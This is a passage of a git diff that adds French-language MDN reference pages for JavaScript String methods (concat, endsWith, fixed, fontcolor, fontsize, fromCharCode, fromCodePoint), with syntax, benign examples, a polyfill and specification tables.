+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.concat(<var>string2</var>[, <var>string</var>3, ..., <var>stringN</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>string2...string<em>N</em></code></dt>
+ <dd>Chaînes de caractères à concaténer ensemble.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une nouvelle chaîne de caractères qui contient la concaténation des chaînes de caractères fournies.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La fonction <code>concat()</code> renvoie une nouvelle chaîne correspondant à la concaténation des différents arguments avec la chaîne courante. La chaîne courante est celle sur laquelle a été appelée la méthode <code>concat()</code>. Si les valeurs passées en arguments ne sont pas des chaînes de caractères, elles sont automatiquement converties en chaînes (grâce à leur méthode <code>toString()</code> avant la concaténation).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant combine plusieurs chaînes afin d'en former une nouvelle.</p>
+
+<pre class="brush: js notranslate">var coucou = "Bonjour ";
+console.log(coucou.concat("Tristan,", " bonne journée."));
+
+/* Bonjour Tristan, bonne journée. */
+
+var salutation = ['Bonjour', ' ', 'Alfred', ' ', '!'];
+"".concat(...salutation); // "Bonjour Alfred !"
+
+"".concat({});   // [object Object]
+"".concat([]);   // ""
+"".concat(null); // "null"
+"".concat(true); // "true"
+"".concat(4, 5); // "45"
+
+</pre>
+
+<h2 id="Performance">Performance</h2>
+
+<p>Il est fortement recommandé d'utiliser les {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateurs d'affectation", "", 1)}} (+, +=) plutôt que la méthode <code>concat()</code> pour des raisons de performance.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.concat")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Opérateurs/Opérateurs_d_affectation", "Les opérateurs d'affectation", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html b/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html
new file mode 100644
index 0000000000..32e72b6791
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/endswith/index.html
@@ -0,0 +1,103 @@
+---
+title: String.prototype.endsWith()
+slug: Web/JavaScript/Reference/Objets_globaux/String/endsWith
+tags:
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>endsWith()</strong></code> renvoie un booléen indiquant si la chaine de caractères se termine par la chaine de caractères fournie en argument.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-endswith.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.endsWith(chaîneRecherchée[, <var>position</var>]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>chaîneRecherchée</code></dt>
+ <dd>Les caractères à rechercher à la fin de la chaine de caractères.</dd>
+ <dt><code>position</code> {{optional_inline}}</dt>
+ <dd>Paramètre optionnel. Permet de rechercher dans la chaine de caractères comme si elle faisait cette longueur ; par défaut il s'agit de la longueur de la chaine de caractères <code>chaîneRecherchée</code>. Si la valeur fournie est supérieure à la longueur de la chaine de caractères, elle ne sera pas prise en compte.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p><code>true</code> si la chaîne de caractères se termine par la sous-chaîne indiquée, <code>false</code> sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode permet de savoir si une chaine de caractères se termine avec une certaine chaine de caractères (comme les autres méthodes fonctionnant avec des chaînes de caractères, cette méthode est sensible à la casse).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush:js;">var str = "Être, ou ne pas être : telle est la question.";
+
+console.log(str.endsWith("question."));     // true
+console.log(str.endsWith("pas être"));      // false
+console.log(str.endsWith("pas être", 20));  // true
+</pre>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Cette méthode a été ajoutée dans la spécification ECMAScript 6 et peut ne pas être disponible dans toutes les implémentations de JavaScript. Cependant, il est possible d'émuler le comportement de <code>String.prototype.endsWith</code> avec le fragment de code suivant :</p>
+
+<pre class="brush: js">if (!String.prototype.endsWith) {
+  String.prototype.endsWith = function(searchString, position) {
+    var subjectString = this.toString();
+    if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position &gt; subjectString.length) {
+      position = subjectString.length;
+    }
+    position -= searchString.length;
+    var lastIndex = subjectString.lastIndexOf(searchString, position);
+    return lastIndex !== -1 &amp;&amp; lastIndex === position;
+  };
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.endsWith")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.startsWith()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html
new file mode 100644
index 0000000000..711a2310de
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/fixed/index.html
@@ -0,0 +1,74 @@
+---
+title: String.prototype.fixed()
+slug: Web/JavaScript/Reference/Objets_globaux/String/fixed
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fixed
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>fixed()</strong></code> permet de créer un élément HTML {{HTMLElement("tt")}}, ce qui permet d'afficher le texte de la chaîne de caractère dans une fonte à chasse fixe.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.fixed()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("tt")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>fixed()</code> encadre une chaîne de caractères dans une balise <code>&lt;tt&gt;</code> :<br>
+ <code>"&lt;tt&gt;str&lt;/tt&gt;</code>"</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant illustre l'utilisation de la méthode <code>fixed</code> pour formater une chaîne de caractères :</p>
+
+<pre class="brush:js">var worldString = "Coucou monde";
+
+console.log(worldString.fixed());
+// "&lt;tt&gt;Coucou monde&lt;/tt&gt;"
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.fixed")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.bold()")}}</li>
+ <li>{{jsxref("String.prototype.italics()")}}</li>
+ <li>{{jsxref("String.prototype.strike()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html
new file mode 100644
index 0000000000..19e2c9ff30
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/fontcolor/index.html
@@ -0,0 +1,89 @@
+---
+title: String.prototype.fontcolor()
+slug: Web/JavaScript/Reference/Objets_globaux/String/fontcolor
+tags:
+  - Déprécié
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La méthode <code><strong>fontcolor()</strong></code> permet de créer un élément {{HTMLElement("font")}} qui permet d'afficher la chaine de caractères dans une fonte utilisant la couleur donnée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> L'élément &lt;font&gt; a été retiré dans <a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> et ne devrait plus être utilisé. Les propriétés <a href="/fr/docs/Web/CSS">CSS</a> permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.fontcolor(<var>couleur</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>couleur</code></dt>
+ <dd>Une chaîne de caractères représentant la couleur en une valeur hexadécimale RGB ou comme un littéral. Les différents littéraux utilisables pour les noms de couleurs sont listés dans la <a href="/fr/docs/Web/CSS/color_value#Valeurs">référence des couleurs CSS</a>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Si la couleur est représentée sous forme d'un triplet RVB, le format attendu est <code>rrvvbb</code>. Ainsi, pour représenter un rose saumon, les différentes composantes seront rouge = FA,  vert = 80, et bleu = 72, le triplet s'écrit donc "<code>FA8072</code>".</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment utiliser la méthode <code>fontcolor()</code> pour modifier la couleur d'une chaîne de caractères en créant une balise <code>&lt;font&gt;</code> qui encadre la chaîne.</p>
+
+<pre class="brush: js">var worldString = "Coucou monde";
+
+console.log(worldString.fontcolor("red") +  " avec le littéral red sur cette ligne");
+// '&lt;font color="red"&gt;Coucou monde&lt;/font&gt; avec le littéral red sur cette ligne'
+
+console.log(worldString.fontcolor("FF00") + " avec la valeur hexadécimale sur cette ligne");
+// '&lt;font color="FF00"&gt;Coucou monde&lt;/font&gt; avec la valeur hexadécimale sur cette ligne'
+</pre>
+
+<p>L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut <code>style</code> de l'élément et de le manipuler de façon générique. Par exemple :</p>
+
+<pre class="brush: js">document.getElementById('IDdeVotreElement').style.color = 'red'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.fontcolor', 'String.prototype.fontcolor')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.fontcolor")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.fontsize()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html
new file mode 100644
index 0000000000..33241acfbd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/fontsize/index.html
@@ -0,0 +1,88 @@
+---
+title: String.prototype.fontsize()
+slug: Web/JavaScript/Reference/Objets_globaux/String/fontsize
+tags:
+  - Deprecated
+  - HTML wrapper methods
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize
+---
+<div>{{JSRef}}{{deprecated_header}}</div>
+
+<p>La propriété <code><strong>fontsize()</strong></code> permet de créer un élément HTML {{HTMLElement("font")}} qui permet d'afficher la chaîne de caractères dans une fonte de taille donnée.</p>
+
+<div class="note">
+<p><strong>Note : </strong>L'élément &lt;font&gt; a été retiré dans <a href="/fr/docs/Web/Guide/HTML/HTML5">HTML5</a> et ne devrait plus être utilisé. Les propriétés <a href="/fr/docs/Web/CSS">CSS</a> permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>str</var>.fontsize(<var>taille</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>taille</code></dt>
+ <dd>Un entier compris entre 1 et 7 ou une chaîne de caractère représentant un nombre signé entre 1 et 7.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsque le paramètre utilisé est un entier, la taille de la chaîne <code>str</code> correspondra à l'une des 7 tailles définies. Lorsque le paramètre utilisé est une chaîne de caractères (par exemple "-2"), la taille de la fonte sera ajustée relativement à la taille définie par l'élément {{HTMLElement("basefont")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple qui suit illustre comment utiliser les méthodes pour les chaînes de caractères afin de modifier la taille d'une chaîne de caractères :</p>
+
+<pre class="brush:js">var worldString = "Coucou monde";
+
+console.log(worldString.small()); // &lt;small&gt;Coucou monde&lt;/small&gt;
+console.log(worldString.big()); // &lt;big&gt;Coucou monde&lt;/big&gt;
+console.log(worldString.fontsize(7)); // &lt;font size="7"&gt;Coucou monde&lt;/fontsize&gt;</pre>
+
+<p>L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut <code>style</code> de l'élément et de le manipuler de façon générique. Par exemple :</p>
+
+<pre class="brush: js">document.getElementById('IdElement').style.fontSize = '0.7em'</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.prototype.fontsize', 'String.prototype.fontsize')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.fontsize")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.big()")}}</li>
+ <li>{{jsxref("String.prototype.small()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html
new file mode 100644
index 0000000000..5648f25e05
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/fromcharcode/index.html
@@ -0,0 +1,117 @@
+---
+title: String.fromCharCode()
+slug: Web/JavaScript/Reference/Objets_globaux/String/fromCharCode
+tags:
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+  - UTF-16
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <code><strong>String.fromCharCode()</strong></code> renvoie une chaîne de caractères créée à partir de points de code UTF-16.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-fromcharcode.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">String.fromCharCode(<var>num1</var>, <var>...</var>, <var>numN</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>Une séquence de nombres représentant des points de code UTF-16 entre 0 et 65535 (<code>0xFFFF</code>). Les nombres supérieurs à <code>0xFFFF</code> sont tronqués.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères qui contient les caractères correspondants à la série de points de code UTF-16.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode renvoie une chaîne de caractère et non un objet {{jsxref("String")}}.</p>
+
+<p>La méthode <code>fromCharCode()</code> étant une méthode statique de l'objet <code>String</code>, elle doit toujours être utilisée avec la syntaxe <code>String.fromCharCode()</code> plutôt qu'en appelant la méthode à partir d'un objet <code>String</code> construit sur mesure.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Pour les caractères du plan multilingue de base, UTF-16 utilise une seule unité de code :</p>
+
+<pre class="brush:js">String.fromCharCode(65,66,67); // ABC
+String.fromCharCode(0x2014);   // "<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">—"
+String.fromCharCode(0x12014);  // "—" également, le 1 a été tronqué
+String.fromCharCode(8212);     // renvoie également "—" car 8212
+                               // est la forme décimale</span></span></span></span>
+</pre>
+
+<p>Les caractères hors de ce plan utilisent deux unités de code (on parle de <em>surrogate pair</em>) :</p>
+
+<pre class="brush: js">String.fromCharCode(0xD83C, 0xDF03); // Point de code U+1F303 pour l'émoji nuit étoilée
+
+// Forme décimale équivalente :
+String.fromCharCode(55356, 57091);
+
+String.fromCharCode(0xD834, 0xDF06, 0x61, 0xD834, 0xDF07);
+// "\uD834\uDF06a\uD834\uDF07"
+</pre>
+
+<h2 id="Utiliser_des_valeurs_Unicode_plus_grandes">Utiliser des valeurs Unicode plus grandes</h2>
+
+<p>En UTF-16, les caractères les plus communs sont représentables sur une seule valeur de 16 bits. Toutefois, cet ensemble de caractères (aussi appelé plan multilingue de base ou BMP en anglais) ne représente qu'1/17e de l'espace total représenté par les caractères Unicode. Le reste des points de code, sur l'intervalle 65536 (0x010000) à 1114111 (0x10FFFF) sont des caractères additionnels qui sont représentés par deux valeurs sur 16 bits qu'on appelle <em>surrogate pairs</em> en anglais.</p>
+
+<p>La méthode <code>fromCharCode()</code> ne fonctionne qu'avec des valeurs sur 16 bits et il faudra donc fournir une paire de codets pour obtenir certains caractères. Ainsi, <code>String.fromCharCode(0xD83C, 0xDF03)</code> renvoie le point de code U+1F303 qui représente l'émoji « nuit étoilée ».</p>
+
+<p>Bien qu'il y ait une relation mathématique entre la valeur composée et les deux codets qui forment la paire, on a besoin d'une étape supplémentaire à chaque fois. Aussi, il sera plus pratique d'utiliser {{jsxref("String.fromCodePoint()")}} (ES2015 / ES6) qui permet de manipuler les codes des caractères hors BMP : on pourra ainsi écrire <code>String.fromCodePoint(0x1F303)</code> pour renvoyer le caractère U+1F303 (émoji « nuit étoilée »).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.3.2', 'StringfromCharCode')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-string.fromcharcodes', 'String.fromCharCode')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.String.fromCharCode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.charAt()")}}</li>
+ <li>{{jsxref("String.fromCodePoint()")}}</li>
+ <li>{{jsxref("String.prototype.codePointAt()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html b/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html
new file mode 100644
index 0000000000..387ecf4878
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/string/fromcodepoint/index.html
@@ -0,0 +1,111 @@
+---
+title: String.fromCodePoint()
+slug: Web/JavaScript/Reference/Objets_globaux/String/fromCodePoint
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Reference
+  - String
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode statique <strong><code>String.fromCodePoint()</code></strong> renvoie une chaîne de caractères créée à partir d'un suite de codets.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">String.fromCodePoint(<var>num1</var>[, ...[, <var>numN</var>]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>num1, ..., num<em>N</em></code></dt>
+ <dd>Une séquence de codets (<em>code points</em>).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une chaîne de caractères créée à partir de la séquence de codets indiquée.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li>Une exception {{jsxref("Erreurs/Not_a_codepoint","RangeError")}} est renvoyée si un codet (Unicode) invalide est utilisé (par exemple, on pourra avoir "RangeError: NaN is not a valid code point").</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p><code>fromCodePoint()</code> étant une méthode statique de {{jsxref("String")}}, elle doit toujours être utilisée avec la syntaxe <code>String.fromCodePoint()</code>, plutôt qu'avec une méthode d'un objet {{jsxref("String")}} qui aurait été créé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_fromCodePoint()">Utiliser <code>fromCodePoint()</code></h3>
+
+<pre class="brush: js">String.fromCodePoint(42);       // "*"
+String.fromCodePoint(65, 90);   // "AZ"
+String.fromCodePoint(0x404);    // "\u0404"
+String.fromCodePoint(0x2F804);  // "\uD87E\uDC04"
+String.fromCodePoint(194564);   // "\uD87E\uDC04"
+String.fromCodePoint(0x1D306, 0x61, 0x1D307) // "\uD834\uDF06a\uD834\uDF07"
+
+String.fromCodePoint('_');      // RangeError
+String.fromCodePoint(Infinity); // RangeError
+String.fromCodePoint(-1);       // RangeError
+String.fromCodePoint(3.14);     // RangeError
+String.fromCodePoint(3e-2);     // RangeError
+String.fromCodePoint(NaN);      // RangeError
+</pre>
+
+<h3 id="Comparaison_avec_fromCharCode()">Comparaison avec <code>fromCharCode()</code></h3>
+
+<p>La méthode {{jsxref("String.fromCharCode()")}} ne peut pas renvoyer les caractères de l'intervalle 0x010000 à 0X10FFFF avec un seul codet, il est nécessaire de lui fournir la paire décomposée (<em>surrogate pair</em>) pour obtenr un tel caractère :</p>
+
+<pre class="brush: js">String.fromCharCode(0xD83C, 0xDF03); // émoji « nuit étoilée »
+String.fromCharCode(55356, 57091);   // équivalent en notation décimale</pre>
+
+<p><code>String.fromCodePoint()</code>, en revanche, peut renvoyer les caractères qui s'expriment sur plus d'un codet de 16 bits grâce à leur codet « simple » :</p>
+
+<pre class="brush: js">String.fromCodePoint(0x1F303); // ou 127747 en notation décimale</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
